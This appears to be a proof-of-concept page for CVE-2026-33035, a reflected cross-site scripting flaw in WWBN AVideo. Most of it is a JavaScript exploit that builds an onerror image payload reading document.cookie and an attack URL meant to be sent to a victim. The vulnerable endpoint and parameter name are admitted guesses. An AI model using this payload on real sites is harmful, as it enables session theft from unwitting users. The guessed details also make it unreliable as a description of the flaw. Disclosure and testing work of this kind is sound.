CVE-2026-33035: WWBN AVideo反射型XSS漏洞

/* * PoC for CVE-2026-33035 (WWBN AVideo Reflected XSS) * Description: The vulnerability takes a user input from a URL parameter, * passes it through json_encode(), and renders it via innerHTML in script.js. * This allows execution of arbitrary JavaScript. */ // Step 1: Construct the malicious payload // Using an image tag with onerror is a common bypass for simple reflection points var payload = '<img src=x onerror=alert(document.cookie)>'; // Step 2: The vulnerable endpoint is likely related to video not found handling // Assume the parameter name is 'videoId' based on context var targetUrl = 'http://target-avideo-site.com/videoNotFound.php?videoId=' + encodeURIComponent(payload); // Step 3: Simulate the victim visiting the link // In a real attack scenario, the attacker sends this link to the victim. console.log("Attack URL: " + targetUrl); // When the victim loads the URL, the PHP backend processes the input. // The JavaScript frontend receives the JSON string and renders it via innerHTML. // The browser executes the alert, demonstrating the XSS.